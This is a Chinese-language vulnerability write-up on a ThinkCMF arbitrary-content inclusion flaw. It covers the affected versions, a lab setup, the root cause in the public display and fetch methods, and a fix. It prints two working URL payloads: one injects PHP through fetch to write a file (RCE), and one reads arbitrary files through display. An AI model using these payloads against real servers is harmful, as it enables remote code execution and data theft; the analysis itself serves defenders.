ThinkCMF框架任意内容包含漏洞分析复现
字数 1128 2025-08-26 22:11:28
ThinkCMF框架任意内容包含漏洞分析复现
0x00 简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。该框架提供灵活的应用机制,开发者可以根据需求以应用形式进行扩展,各应用既能独立工作也能通过系统协同工作。
0x01 漏洞概述
攻击者可利用此漏洞构造恶意URL,向服务器写入任意内容的文件,实现远程代码执行(RCE)。
0x02 影响版本
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
- ThinkCMF X2.2.3
0x03 环境搭建
- 下载ThinkCMFX 2.2.3版本
- 将文件放入phpstudy的WWW目录
- 访问/ThinkCMFX/路径,按照安装向导步骤进行安装
- 填写数据库信息(phpstudy默认数据库密码为root)
- 设置管理员账户信息
- 完成安装
0x04 漏洞利用
方法一:通过fetch方法写入文件
Payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
利用步骤:
- 执行payload后页面显示空白
- 访问test.php文件,可看到phpinfo页面
方法二:通过display方法实现任意文件包含
Payload:
?a=display&templateFile=README.md
效果:
直接显示README.md文件内容
0x05 漏洞分析
-
入口分析: index.php显示项目路径在application目录下
-
控制器分析:
- IndexController类继承自HomebaseController
- 可通过g\m\a参数指定分组\模块\方法
- 攻击者利用a参数直接调用HomebaseController中的public方法
-
漏洞函数分析:
display函数:
- 功能: 加载模板和页面输出
- 参数: templateFile(模板文件地址), charset, contentType, content
- templateFile参数经parseTemplate处理,当模板不存在时会在当前目录查找,导致文件包含
fetch函数:
- 功能: 获取页面内容,调用内置模板引擎
- 参数: templateFile, content, prefix
- 当content参数可控时,可注入PHP代码
0x06 修复方案
将HomebaseController.class.php和AdminbaseController.class.php中的display和fetch函数的修饰符从public改为protected。
补充说明
- 该漏洞利用需要服务器配置允许文件写入
- 实际攻击中可结合其他漏洞如文件上传扩大攻击面
- 建议升级到最新版本或应用官方补丁